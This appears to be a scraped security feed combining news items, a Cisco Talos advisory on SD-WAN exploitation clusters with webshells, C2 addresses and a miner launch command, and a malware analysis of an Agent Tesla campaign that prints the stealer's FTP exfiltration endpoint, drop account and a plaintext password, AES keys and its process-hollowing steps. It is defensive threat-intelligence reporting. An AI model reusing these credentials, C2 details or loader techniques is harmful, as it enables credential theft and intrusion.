Why geopolitical turmoil is a gift for scammers, and how to stay safe
Conflict is a boon for opportunistic fraudsters. Look out for their ploys.
WeLiveSecurity – Read More
Conflict is a boon for opportunistic fraudsters. Look out for their ploys.
WeLiveSecurity – Read More
ESET researchers uncovered new activities attributed to FrostyNeighbor, updating its compromise chain to support the group’s continual cyberespionage operations
WeLiveSecurity – Read More

Welcome to this week’s edition of the Threat Source newsletter.
Many solutions have been proposed to reduce software bugs: zero-defect mandates, pair programming, formal methods, and mathematical software proofs. The reality is that software engineering is hard. Identifying and fixing bugs before they make it into production code is hard. Source code peer review and extensive unit testing have improved code quality, but bugs still get through.
Not every bug is a vulnerability, and not every fault that appears to be a vulnerability can be usefully exploited. Nevertheless, through extensive testing and review, a skilled vulnerability researcher can still uncover faults in software that has already undergone rigorous quality assurance. However, skilled vulnerability researchers are a scarce resource and can only review so much software.
AI is the great hope for improving software quality. Iterative improvements in AI’s ability to find bugs mean that each new version of these systems is better than the last. We’re now at the point where AI, although still not as good as a skilled vulnerability researcher, can scan code to find errors at a scale and speed that human analysis cannot match. Used well, it can identify potential vulnerabilities before they reach production.
In the long term, this is very good news. Better automated review and analysis of software is how we will improve code quality. However, in the short term, decades of technical debt and latent errors will be uncovered and will need to be addressed. To make things more complex, threat actors will have access to these same tools to search for exploitable vulnerabilities for their own ends.
The result is likely to be a surge in patches. More vulnerabilities discovered means more fixes released, placing additional pressure on already stretched operations teams. Many of these patches will be urgent; some will address vulnerabilities that are being actively exploited. Without proper planning, the volume of fixes may outpace an organization’s capacity to deploy them.
The surge of patches has yet to happen, but the first signs may already be visible. Now is an excellent time to consider how you prioritise patching, apply patches at scale, and manage systems that cannot be patched quickly — or at all. We can reflect on these questions now, and improve our processes, or we can flounder when the surge of patches arrives. Either way, ready or not, the time of much patching is coming.
In Cisco Talos’ latest blog, we outline the differences between responding to state-sponsored threat actors and handling commodity ransomware. These advanced adversaries log in using valid credentials and leverage your own trusted tools to remain invisible for months. Because their primary objectives are long-term espionage and pre-positioning rather than immediate financial gain, standard incident response playbooks are entirely inadequate.
State-sponsored actors operate inside your trust boundary and aim to remain completely undetected. They have the patience and resources to map your infrastructure, exploit supply chain vulnerabilities, and blend their lateral movement into routine administrative tasks. If your security architecture assumes internal traffic is inherently trustworthy, these adversaries will exploit that gap to establish deep, persistent access across both IT and operational technology environments. Prematurely containing these threats can even tip off the attacker, causing you to lose critical intelligence and the chance to fully eradicate their foothold.
Shift to a zero trust architecture that continuously verifies access and plans for inevitable failures, starting with maximizing your visibility through centralized log aggregation and enabling Windows command-line and PowerShell script block logging. Prioritize identity management by enforcing multi-factor authentication on all administrative accounts and implementing a tiered access model. Update your incident response playbooks to specifically address living-off-the-land techniques, supply chain compromises, and the complex operational timing required for state-sponsored containment. Read the blog here for more information.
Linux bitten by second severe vulnerability in as many weeks
The leaked exploit is deterministic, meaning it works precisely the same way each time it’s run and across different Linux distributions. It causes no crashes, making it stealthy to run. Install patches immediately. (Ars Technica)
A DOD contractor’s API flaw exposed military course data and service member records
The issue affected Schemata, an AI-powered virtual training platform used in military and defense settings. According to Strix, an ordinary low-privilege account was able to access data across multiple tenants. (CyberScoop)
Fake OpenAI Privacy Filter repo hits No. 1 on Hugging Face, draws 244K downloads
A malicious repository managed to take a spot in the platform’s trending list by impersonating OpenAI’s Privacy Filter open-weight model to deliver a Rust-based information stealer to Windows users. (The Hacker News)
TanStack, Mistral AI, UiPath hit in fresh supply chain attack
The same as in previous campaigns, the worm targets sensitive information, including developer credentials, API keys, tokens, cloud credentials and secrets, cryptocurrency wallets, and more. (SecurityWeek)
Official CheckMarx Jenkins package compromised with infostealer
Checkmarx warned over the weekend that a rogue version of its Jenkins Application Security Testing (AST) plugin had been published on the Jenkins Marketplace. (BleepingComputer)
Breaking things to keep them safe with Philippe Laulheret
From his memorable experiment using a green onion to bypass a biometric fingerprint reader to his experience on the frontlines of cybersecurity, Philippe shares the journey that led him to vulnerability research.
Inside the SOC: AI-powered DNS defense against ransomware
Learn how Cisco Talos’ advanced AI-driven detection, including domain generation algorithm (DGA) analysis, integrates within Cisco Secure access to proactively identify and predict malicious domains.
Clustering and reuse of phone numbers in scam emails
Cisco Talos has recently started to collect and gather intelligence around phone numbers within emails as an additional indicator of compromise (IOC). In this blog, we discuss new insights into in-the-wild phone number reuse in scam emails.
SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
MD5: 2915b3f8b703eb744fc54c81f4a9c67f
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
Example Filename: VID001.exe
Detection Name: Win.Worm.Coinminer::1201**
SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974
MD5: aac3165ece2959f39ff98334618d10d9
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe
Detection Name: W32.Injector:Gen.21ie.1201
SHA256: e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba
MD5: dbd8dbecaa80795c135137d69921fdba
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba
Example Filename: u112417.dat
Detection Name: W32.Variant:MalwareXgenMisc.29d4.1201
SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59
Example Filename: APQ9305.dll
Detection Name: Auto.90B145.282358.in02
Cisco Talos Blog – Read More

Talos is aware of the active, in-the-wild (ITW) exploitation of CVE-2026-20182 in Cisco Catalyst SD-WAN Controller and Manager, that allows log in to the affected system as an internal, high-privileged, non-root user account. Talos clusters the exploitation of this vulnerability and subsequent post-compromise activity under UAT-8616, whom we assess is a highly sophisticated cyber threat actor. UAT-8616 previously exploited a similar vulnerability in Cisco Catalyst SD-WAN Controller, CVE-2026-20127 to gain unauthorized access to SD-WAN systems.
UAT-8616 performed similar post-compromise actions after successfully exploiting CVE-2026-20182, as was observed in the exploitation of CVE-2026-20127 by the same threat actor. UAT-8616 attempted to add SSH keys, modify NETCONF configurations, and escalate to root privileges. Our findings indicate that the infrastructure used by UAT-8616 to carry out exploitation and post-compromise activities also overlaps with the Operational Relay Box (ORB) networks that Talos monitors closely.
Customers are strongly advised to follow the guidance and recommendations published in Cisco’s Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Please refer to the Recommendations and Detection Guidance section for additional coverage information. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.
Talos is also aware of the widespread in-the-wild active exploitation of three vulnerabilities in unpatched Cisco Catalyst SD-WAN Manager infrastructure (CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122) that, when chained together, can allow a remote unauthenticated attacker to gain access to the device. Cisco released software updates and a security advisory addressing these vulnerabilities in February 2026. Following the public release of proof-of-concept code exploiting these vulnerabilities by ZeroZenX Labs in March, we observed the exploitation of the unpatched systems from March to April 2026.
Talos has observed several other threat clusters, separate from UAT-8616, leveraging publicly available proof-of-concept exploit code to deploy webshells to affected systems. Following successful exploitation, the webshells would allow the attacker to execute bash commands on the affected system.
The vast majority of observed exploitation attempts involved the use of the ZeroZenX Labs proof-of-concept code and accompanying JavaServer Pages (JSP) shell, which we are calling “XenShell.” However, we observed several other JSP-based webshell variants, which are outlined below.
Note: The CVE referenced in the ZeroZenX Labs proof-of-concept is incorrectly attributed to CVE-2026-20127. Talos’ analysis indicates that the targeted CVEs in the proof-of-concept are in-fact CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122.
So far, Talos has observed the following clusters of malicious activity being conducted post successful exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128: Cluster #1 to Cluster #10.
This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 6, 2026. Following the exploitation of these CVEs, the threat actor deployed a variant of the Godzilla web shell under the filename “20251117022131.jsp”. This variant is associated with a publicly available GitHub project.
The following IPs were used to carry out the exploit and subsequently interact with the shell:

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 10, 2026. Following their exploitation, the threat actor deployed a variant of the Behinder webshell under the filename “conf.jsp”. This variant has been modified to only use Base64 for encoding, as opposed to AES encryption commonly observed in other variants.
The IP “71.80.85[.]135” was used to carry out the exploit and interact with the shell.

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 4, 2026. Following successful exploitation, the threat actor deployed XenShell under the name “sysv.jsp”, before returning hours later to deploy a variant of the Behinder webshell under the filename “sysinit.jsp”.
The IP “212.83.162[.]37” was used to carry out the exploit and interact with the shell.

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 3, 2026. Following successful exploitation, the threat actor deployed a variant of the Godzilla webshell under the filename “vmurnp_ikp.jsp”.
The following IPs are attributed to this cluster:

Talos observed the deployment, beginning March 13, 2026, of a malware agent compiled off the publicly available AdaptixC2 red team framework. The filename was “systemd-resolved” and the agent’s command and control (C2) is “194[.]163[.]175[.]135:4445”.
The authors have changed the default TCP banner for the sample from “AdapticC2 server” to “shadowcore”. Hosted on Contabo GmbH, this is likely a VPS. As of March 28, 2026, this C2 IP, “194[.]163[.]175[.]135” hosted:
In another cluster of activity, since at least March 5, 2026, Sliver, an open-source adversarial emulation framework (aka red-teaming implant), was deployed with the filename “CWan”. The Sliver sample’s C2 is “mtls://23.27.143[.]170:443”.
In this cluster of activity, since at least March 25, 2026, an XMRig sample and its accompanying configuration file were downloaded and deployed via a shell script from the remote location “83.229.126[.]195”.

This IP, residing in Hong Kong, is also a known C2 server for Cobalt Strike.
Activity observed in Cluster 8 began as early as March 10, 2026. This cluster consisted of a few key malicious tools. The first tool is KScan, an asset mapping tool, that can port scan, TCP fingerprint, capture banners for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute-force cracking and brute-force RDP. The tool’s filename and Go packages have been renamed to “QScan” by the authors, but it is essentially the same implementation as the open-source GitHub version.
The second tool, named “agent1”, is a Nim-based implant. It is most likely based on the open-source tools, Nimplant, but is further modified to include:
This tool was downloaded and executed post-compromise from the remote location “replit[.]dev”:

The attackers executed this command on the compromised system while connected from the source IP “79[.]135[.]105[.]208”. This is likely a ProtonVPN node.
Replit is an AI platform that facilitates building applications using AI. It is therefore likely that the backdoor was created with the help of AI to resemble Nimplant’s functionality with the additional capabilities and deviations listed above.
In this cluster, since at least March 17, 2026, Talos observed the deployment of an XMRig miner and a peer-based proxying and tunneling tool.
This tool, gsocket, is a peer-based proxying and tunneling tool that allows peers to connect to each other within the Global Socket Relay Network (GSRN). GSRN allows peers to connect to each other using node IDs, which are unique 16-byte identifiers for nodes with the network.
This sample obtains the peer or C2 node to connect to by reading and Base58 decoding the accompanying “defunct[.]dat” file. The C2 peer ID is:
78 c4 a2 37 56 27 7b b7 de 20 06 76 34 d2 63 c9
The tool is activated by placing a malicious command in the .profile file:

This decodes to:

XMRig Miner
Accompanying gsocket was a Monero miner and its scripts and configuration files. The miner is also activated via the user profile (.profile):
/tmp/moneroocean/miner.sh --config=/tmp/moneroocean/config_background.json >/dev/null 2>&1
The “miner.sh” will find all processes named XMRig, kill them, and then start its own copy of XMRig:

This cluster of activity, since at least Mar 13, 2026, consisted of a credential stealer deployed along with accompanying scripts. The main script, named “loot_run.sh”, attempted to obtain:
Two other helper scripts were also deployed in this cluster to check if the current user could escalate to root. The scripts contained a hardcoded password and used it to execute the command su root –c id. The output is checked for the string “uid=0(root)” to verify successful escalation.
Customers are strongly advised to follow the guidance and recommendations published in Cisco’s Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.
Snorts SIDs for CVE-2026-20182 are: 66482 – 66483
Please refer to the official Cisco Security Advisory on CVE-2026-20133, CVE-2026-20122, and CVE-202128 for the latest information regarding affected products, Indicators Of Compromise (IOCs), and mitigation steps.
Snort SIDs for CVE-2026-20133: 66468 – 66469
Snort SIDs for CVE-2026-20122: 66461 – 66462
Snort SIDs for CVE-2026-20128: 66468 – 66469
Snort SIDs for the threats detailed in Clusters #1 through 10 are:
ClamAV signatures for the malicious tooling associated with these clusters:
IOCs for the Clusters detailed above are also available in our GitHub repository here.
Cisco Talos Blog – Read More
Credential theft malware rarely announces itself with ransomware-level noise. Instead, it operates like a silent siphon hidden inside everyday business workflows: invoices, payroll files, purchase orders, procurement requests. Agent Tesla campaigns are especially dangerous because they target the operational arteries of organizations, harvesting credentials that enable deeper compromise, business email compromise (BEC), financial fraud, cloud account takeover, and long-term espionage.
This investigation reveals an active Agent Tesla campaign specifically targeting Chilean and broader LATAM enterprises through procurement-themed phishing lures. The malware chain combines social engineering, obfuscated loaders, process hollowing, fileless execution, and FTP-based credential exfiltration to evade traditional defenses.
For organizations, the business impact extends far beyond a single infected endpoint: stolen browser, VPN, email, and FTP credentials can become the entry point for supply chain compromise, lateral movement, and unauthorized access to sensitive corporate systems.
Latin America has become an increasingly attractive target for commodity malware operators. The combination of rapid digitalization, growing SME supply chains, and historically lower security maturity makes the region fertile ground for credential stealers. Among these, Agent Tesla consistently ranks as one of the most deployed families — cheap to license, easy to configure, and devastatingly effective against organizations with limited email security controls.
In March 2026, during routine threat hunting, we identified a malware sample delivered inside a RAR archive named Orden de compra_pdf.uu — Spanish for ‘purchase order’ — a social engineering lure specifically crafted for the Chilean and broader LATAM business environment. What followed was a multi-day investigation that uncovered not just a single sample, but a persistent infrastructure that has been quietly exfiltrating credentials from LATAM enterprises since at least mid-2024.
Agent Tesla is a .NET-based keylogger and credential stealer, commercially sold as a ‘Remote Administration Tool’ since 2014. Despite its age, it remains highly active because operators can purchase access cheaply and configure it through a GUI without programming knowledge. Its primary capabilities include:
In the LATAM context, Agent Tesla operators typically use spear-phishing lures themed around business documents: purchase orders, payment receipts, payroll files, and invoices. This campaign follows that pattern precisely, targeting the financial and procurement workflows of Chilean companies.
While Agent Tesla is often categorized as a “commodity stealer,” the operational impact on organizations can be severe. In many environments, credential theft creates the conditions for larger and more expensive incidents.
Financial Fraud and Business Email Compromise
The campaign specifically impersonates procurement and finance-related documents, indicating deliberate targeting of employees who routinely handle invoices, payment approvals, supplier communications, and payroll operations. Once email credentials are stolen, attackers can hijack ongoing financial conversations, redirect payments, or conduct BEC attacks that appear fully legitimate.
Supply Chain Exposure
Compromised FTP, VPN, and email accounts may provide indirect access to suppliers, logistics providers, distributors, and partner organizations. This creates a multiplier effect where a single infection can propagate trust-based compromise across the wider business ecosystem.
Cloud and SaaS Account Takeover
Modern browsers store credentials for cloud platforms, CRMs, collaboration tools, and internal portals. Theft of browser credential databases can therefore expose Microsoft 365, Google Workspace, Salesforce, SAP, and other critical business systems without the attacker needing to deploy ransomware or exploit vulnerabilities.
Long-Term Persistence and Espionage
Agent Tesla’s keylogging, clipboard interception, and screenshot functionality enable prolonged surveillance of employee activity. This allows operators to collect sensitive information gradually over time, including contracts, credentials, API keys, internal communications, and financial data.
Risk Summary: A single employee opening a convincing purchase order email can result in complete credential compromise across your organization’s digital tools. This campaign has operated undetected against LATAM businesses for over 18 months. The financial and operational cost of remediation significantly exceeds the cost of proactive prevention.
This article walks through the full investigation methodology, from initial triage to infrastructure correlation, and demonstrates how ANY.RUN’s interactive sandbox and threat intelligence capabilities accelerated key phases of the analysis.
The full detonation session is publicly available in the sandbox.
The investigation began with a RAR v5 archive submitted for analysis. Key static properties:
| Attribute | Value | Note |
|---|---|---|
| Orden de compra_pdf.uu | File name | Social engineering lure – purchase order |
| RAR archive v5 | File type | Container for payload delivery |
| A7EEEAD9C868D9944ED1C1F113328F32 | MD5 | |
| B50B3800B17AD7AD5C4483C0B6B24D1D151A9D10 | SHA1 | |
| 948C8C69FE02EDA9231AEBFA5C626335307058AC74A5C3C40B346179A1BFC982 | SHA256 | |
| March 27, 2026 | Analysis date | ANY.RUN sandbox detonation |
| app.any.run/tasks/54d00d6d-e6d0-4f54-8907-a571a293127b | Full analysis | Interactive sandbox report |
The file extension .uu is a deliberate obfuscation tactic. While the file is actually a RAR archive, the unusual extension is intended to confuse automated scanners and reduce detection rates on email gateways that rely on extension-based filtering.

The filename Orden de compra_pdf.uu translates to ‘Purchase order PDF’ in Spanish. This is a high-value lure for B2B environments: purchase orders are expected, frequently shared by email, and often opened without scrutiny by accounts payable and procurement personnel. The ‘_pdf’ substring creates a false sense of legitimacy, suggesting the recipient will open a PDF document.
This social engineering pattern is consistent across the 80+ samples we identified communicating with the campaign’s infrastructure – all impersonating financial or procurement documents in Spanish:
WinRAR extracts the archive to reveal Orden de compra_pdf.jse — a JScript Encoded Script (Microsoft Script Encoder format). This encoding is not true encryption, but is highly effective at bypassing signature-based AV detection and preventing casual inspection. The file is executed via Windows Script Host (wscript.exe).
The .jse dropper performs several actions in sequence:
All PowerShell stager scripts dropped during the campaign share the same SHA256 hash (96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7), confirming use of a standardized stager template across the campaign.

The PowerShell stager loads ALTERNATE.dll — the Agent Tesla loader — and injects it into a legitimate Microsoft binary. The choice of injection target is deliberate: aspnet_compiler.exe is a trusted .NET Framework component, and its network activity is rarely flagged by endpoint security tools.
The stager implements a Process Hollowing injection sequence:
1. Locate aspnet_compiler.exe on disk
2. Spawn a suspended process instance
3. VirtualAllocEx() → allocate memory in target process
4. WriteProcessMemory() → write ALTERNATE.dll payload
5. GetProcAddress() → resolve entry point dynamically
6. Resume execution → Agent Tesla runs inside trusted process
The DLL is named ALTERNATE.dll internally (with a matching ALTERNATE.pdb debug path left in the binary). Static analysis with Detect-It-Easy reveals a sophisticated protection stack:
| Value | Property | Details |
|---|---|---|
| PE32 .NET Assembly (x86) | Format | CLR v4.0.30319 / .NET 4.5.1 |
| .NET Reactor 6.x | Protection | Commercial .NET protection framework |
| Control Flow Obfuscation | Protection | Scrambles IL execution graph with fake branches |
| Calls Encryption | Protection | Replaces method calls with encrypted delegates |
| Virtualization | Protection | Converts methods to custom VM bytecode |
| Anti-ILDASM | Protection | Breaks dnSpy/ILSpy decompilation |
| Math Mutations | Protection | Replaces constants with equivalent expressions |
| Fake .cctor names | Protection | Poisons metadata to confuse decompilers |
| 2066 (forged) | PE Timestamp | Anti-forensic timestamp manipulation |
The use of .NET Reactor 6.x explains why standard tools like de4dot fail without additional flags. The correct tool for this protection version is NETReactorSlayer:
# Recommended approach:
NETReactorSlayer.CLI.exe --no-pause ALTERNATE.dll
# Alternative with de4dot (force detector):
de4dot.exe ALTERNATE.dll --det reactor
Partial deobfuscation via NETReactorSlayer reduced the binary from 79,872 → 42,496 bytes (a 46.8% reduction), confirming that nearly half the original file consisted purely of protection scaffolding. Post-deobfuscation entropy dropped from 6.0 → 5.86, and previously hidden IL structures became accessible for analysis.
Analysis of the partially deobfuscated binary (alternate_Slayed.dll) reveals the loader’s true internal architecture. Method names remain obfuscated (smethod_10, Delegate10, Struct10) — a pattern consistent with automated obfuscation frameworks — but the functional structure is now recoverable.
The loader implements a Read → Decrypt → Decompress → Execute pipeline:
[ALTERNATE.dll Loader]
↓
1. Read encrypted blob from embedded resource
↓
2. Decrypt → RijndaelManaged (AES-256) + CryptoStream
Key: hardcoded hex constant
IV: prepended to blob (first 16 bytes)
↓
3. Decompress → System.IO.Compression (DeflateStream)
↓
4. Load → Reflection (Assembly.Load from byte array)
ResolveMethod / GetMethod / CreateInstance
↓
5. Invoke → DynamicMethod / CreateDelegate
↓
6. Execute → Agent Tesla payload runs entirely in memory
The loader uses RijndaelManaged (the .NET implementation of AES) with CryptoStream and explicit set_IV calls, confirming AES-CBC mode with a hardcoded key and a prepended IV. Four 256-bit (32-byte) key candidates were identified in the deobfuscated binary:
D5B7247C497788CF0031CEB06E3DF77A45FEF59F1E49633DC7159816D64759B5
C61B1941CF756EB7551F7C661743802362728B785ADC22E860D269713DFB01A6
C356AFF1A01C2B0DA472E584C8E3C8F875B9A24280435D42836A77B19F5A8C18
F1C3EBE78BD8C38559BF3CFCC9A9FA37D221E31780774A3787E26160A61F5348
The encrypted payload blob is located at offset 0x4600 in the deobfuscated binary (relocated from 0x12000 in the original), measures 2,560 bytes, and retains maximum entropy of 7.93 / 8.0, confirming the AES encryption survived deobfuscation intact.
The loader avoids static linking of the final payload by using .NET Reflection to load and invoke Agent Tesla entirely from a byte array in memory. The relevant APIs observed post-deobfuscation:
| API | Category | Role |
|---|---|---|
| DynamicMethod / CreateDelegate | Reflection API | Runtime method generation and invocation |
| ResolveMethod / GetMethod | Reflection API | Dynamic method resolution without static references |
| CreateInstance | Reflection API | Object instantiation from decrypted assembly |
| Assembly.Load (byte[]) | Reflection API | Loads Agent Tesla PE from memory – no disk write |
The deobfuscated binary exposes the complete Process Hollowing implementation as UTF-16 P/Invoke strings. The API sequence is a textbook 32-bit hollowing with Wow64 support for 32→64-bit environments:
| API + Offset | Library | Function |
|---|---|---|
| CreateProcessA @ 0x8EC4 | Win32 / kernel32 | Spawns aspnet_compiler.exe in suspended state |
| ZwUnmapViewOfSection @ 0x8E9A | ntdll | Unmaps original executable from target memory |
| VirtualAllocEx @ 0x8E26 | Win32 / kernel32 | Allocates RWX memory in target process |
| WriteProcessMemory @ 0x8E44 | Win32 / kernel32 | Writes Agent Tesla PE headers and sections |
| ReadProcessMemory @ 0x8E6A | Win32 / kernel32 | Verifies write integrity |
| GetThreadContext @ 0x8DE2 | Win32 / kernel32 | Reads EIP/EBX from suspended thread |
| SetThreadContext @ 0x8D94 | Win32 / kernel32 | Redirects EIP to Agent Tesla entry point |
| Wow64GetThreadContext @ 0x8DD8 | Win32 / kernel32 | 32→64-bit context read |
| Wow64SetThreadContext @ 0x8D8A | Win32 / kernel32 | 32→64-bit context write |
| ResumeThread @ 0x8D70 | Win32 / kernel32 | Resumes thread – Agent Tesla begins executing |
The hollower contains hardcoded error strings —“Failed to allocate memory”, “Failed to unmap section”, “Failed to update PEB”— suggesting it was built from a reusable hollowing template with debug output preserved, a common trait in commodity malware kits.
Three internal execution control strings were recovered post-deobfuscation: ALTERNATE, EXECUTE, and LAUNCH. These likely govern different execution paths within the loader — for example, switching between in-process shellcode execution and remote process hollowing depending on runtime conditions such as privilege level or AV detection.
The Agent Tesla payload is stored as a 2,560-byte AES-encrypted and deflate-compressed blob embedded in the loader’s .text section. The double-layering — compressed and then encrypted — ensures the payload has no recognizable structure at rest and defeats both signature and entropy-based detection.
| Value | Field | Notes |
|---|---|---|
| 0x4600 – 0x5000 (deobfuscated) | Location | Relocated from 0x12000 in original binary |
| 2,560 bytes | Size | Encrypted + compressed payload |
| 7.93 / 8.0 | Entropy | Maximum – AES encryption confirmed |
| 256 / 256 | Unique bytes | Fully uniform distribution |
| RijndaelManaged (AES-256 CBC) | Cipher | Confirmed via CryptoStream + set_IV calls |
| f87d105625dbc96f63d5b4b81dce4c39 | IV candidate | First 16 bytes of blob |
| DeflateStream | Compression | Applied before encryption |
At runtime, the loader decrypts the blob using the hardcoded key and embedded IV, decompresses the result with DeflateStream, then uses Assembly.Load() to instantiate Agent Tesla directly from the resulting byte array in memory. No file is written to disk at any stage from this point forward — the execution is entirely fileless.
Memory dumps captured during sandbox execution allowed recovery of the fully decrypted Agent Tesla payload — the binary that runs inside the hollowed aspnet_compiler.exe process. Static analysis of this dump (270,336 bytes, SHA256: 43d09743a69c9afa7156bf4e2bf7423b3d5f5ad7d54c4c3fb8a698d526778057) reveals the complete capability set and hardcoded configuration of this Agent Tesla instance.
| Value | Field | Notes |
|---|---|---|
| 270,336 bytes | Size | Full unpacked .NET assembly |
| 43d09743a69c9afa7156bf4e2bf7423b3d5f5ad7d54c4c3fb8a698d526778057 | SHA256 | Decrypted payload in memory |
| 78ba57f4a164bedc26204296ea09bb8f | MD5 | Decrypted payload |
| 2024-04-23 20:27 UTC | PE Timestamp | Compile date – not forged in this stage |
| PE32 .NET EXE (GUI) | Format | x86, CLR, 3 sections |
| 4.64 / 8.0 | Entropy | Low – plaintext IL, no remaining encryption |
With the payload decrypted, the complete operator configuration is visible in plaintext — the same values that were hidden behind AES-256 in the loader stage:
| Value | Field | Notes |
|---|---|---|
| ftp://ftp.horeca-bucuresti.ro | FTP URL | C2 exfiltration endpoint – hardcoded |
| americas2@horeca-bucuresti.ro | FTP Username | Operator drop account – hardcoded |
| H*TE9iL;x61m | FTP Password | [REDACTED in publication] – plaintext in payload |
| http://ip-api.com/line/?fields=hosting | Fingerprint URL | Pre-exfil hosting check – hardcoded |
| roSkM / roSkM.exe | Mutex / EXE name | Campaign instance identifier |
| hdfzpysvpzimorhk | Secondary mutex | Anti-re-infection mutex |
| HnJnO | Campaign tag | Instance/build identifier |
| 7bcd610d-7af6-4dc2-875b-dc4fec91463c.exe | Persistence name | GUID filename used for autorun copy |
The FTP password recovered from the memory dump matches exactly the credentials captured in cleartext by ANY.RUN during the dynamic analysis phase, providing cross-validation between static payload analysis and live network capture.


The unpacked payload targets over 80 applications across six categories, representing one of the broadest credential theft surface areas among commodity stealers:
| Category | Applications | Method |
|---|---|---|
| Browsers (28+) |
Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Yandex, 360Chrome, IceDragon, Waterfox, PaleMoon, SeaMonkey, QQ Browser, Coccoc, Comodo Dragon, Epic Privacy, Citrio, Amigo, Orbitum, Sputnik, CentBrowser, Chedot, 7Star, Torch, Elements, UC Browser, BlackHawk, Iridium |
Profile dirs + SQLite Login Data |
| Email clients (21+) | Outlook (2003–19), Thunderbird, Foxmail, Mailbird, The Bat!, Postbox, IncrediMail, Eudora, Becky!, ClawsMail, PocoMail, SeaMonkey Mail, Opera Mail, Falkon, Flock, K-Meleon, IceCat, PaleMoon, eM Client, Windows Mail App, Trillian | Registry + profile files |
| FTP clients (9) | FileZilla, WinSCP, CoreFTP, FTPGetter, SmartFTP, FTP Navigator, WS_FTP, FtpCommander, FlashFXP | Config files + registry |
| VPN clients (5) | NordVPN, OpenVPN, Private Internet Access, DynDNS, Paltalk | Config + credential files |
| VNC servers (13) | RealVNC 3.x/4.x, TightVNC (ControlPassword), TigerVNC, UltraVNC | Registry keys |
| Messaging (8+) | Discord (OAuth token via regex), Pidgin, Trillian, Psi/Psi+, Paltalk, JDownloader 2.0, MysqlWorkbench | Profile + config files |

The payload implements a full system-wide keylogger via Windows hook APIs. 26 special keys are mapped to labeled tokens for inclusion in keylog reports:
{ALT+F4} {ALT+TAB} {BACK} {CAPSLOCK} {CTRL} {DEL}
{END} {ENTER} {ESC} {F10} {F11} {F12}
{HOME} {Insert} {KEYDOWN} {KEYLEFT} {KEYRIGHT} {KEYUP}
{NumLock} {PageDown} {PageUp} {TAB} {Win}
Keylogger interval: configurable via KeyloggerInterval field
Output field: KeylogText (appended per session)

Clipboard Monitoring
Agent Tesla registers a SetClipboardViewer / ChangeClipboardChain hook to intercept clipboard content in real time. Captured data is tagged with <br><hr>Copied Text: <br>and appended to the exfiltration report. This is particularly effective for capturing copied passwords, API keys, and cryptocurrency wallet addresses.
Screenshot Capture
A configurable screenshot module captures periodic desktop images. The interval is controlled by the KeyloggerInterval setting. Screenshots are base64-encoded and included in the HTML exfiltration report alongside stolen credentials.
Persistence Mechanisms
The payload supports multiple persistence methods, selectable at build time:

Anti-Analysis / Anti-VM
The payload performs environment checks before proceeding, scanning for indicators of analysis environments:
| Indicator | Method | Target |
|---|---|---|
| VMware / vmware | Process/file check | VMware guest detection |
| VirtualBox | Registry/file check | VirtualBox guest detection |
| SbieDll.dll | DLL presence check | Sandboxie sandbox detection |
| cmdvrt32.dll | DLL presence check | Comodo sandbox detection |
| SxIn.dll / Sf2.dll / snxhk.dll | DLL presence check | Avast/Sophos sandbox detection |

The HTML report generated by Agent Tesla and uploaded to the FTP drop server follows a fixed template, reconstructed from the payload strings. The format observed in the ANY.RUN network capture matches exactly:
Time: [MM/dd/yyyy HH:mm:ss]
User Name: [Windows username]
Computer Name: [hostname]
OSFullName: [Windows edition]
CPU: [processor model from WMI Win32_Processor]
RAM: [available RAM in MB]
<hr>
Host: [URL where credentials were stolen from]
Username: [stolen username]
Password: [stolen password]
Application: [browser/client name]
<hr>
[...additional credential blocks...]
<hr>Copied Text: [clipboard contents]
This template is hardcoded in the payload and has remained consistent across multiple Agent Tesla v3 builds observed in LATAM campaigns. The ‘Time:’ field uses MM/dd/yyyy format, which combined with the Spanish-language lures, suggests the operator targets both English and Spanish-speaking environments.

Detonating the full infection chain in ANY.RUN’s Interactive Sandbox provided behavioral confirmation of the attack and captured artifacts that static analysis alone could not reveal.

The full process execution chain observed in the sandbox:
Before exfiltrating stolen data, Agent Tesla performs a geolocation and hosting provider check via ip-api[.]com. This common stealer pattern verifies the victim is not running inside a sandbox or corporate proxy before proceeding with exfiltration:
GET http://ip-api.com/line/?fields=hosting HTTP/1.1
Host: ip-api.com
→ Response: false (victim is not a hosting provider)
→ Agent Tesla proceeds with exfiltration
ANY.RUN flagged this request with the Suricata rule: “ET MALWARE Common Stealer Behavior — Source IP Associated with Hosting Provider Check via ip-api.com”, confirming the pre-exfiltration fingerprinting behavior.

The sandbox confirmed active credential theft from web browsers. The behavioral indicators observed:
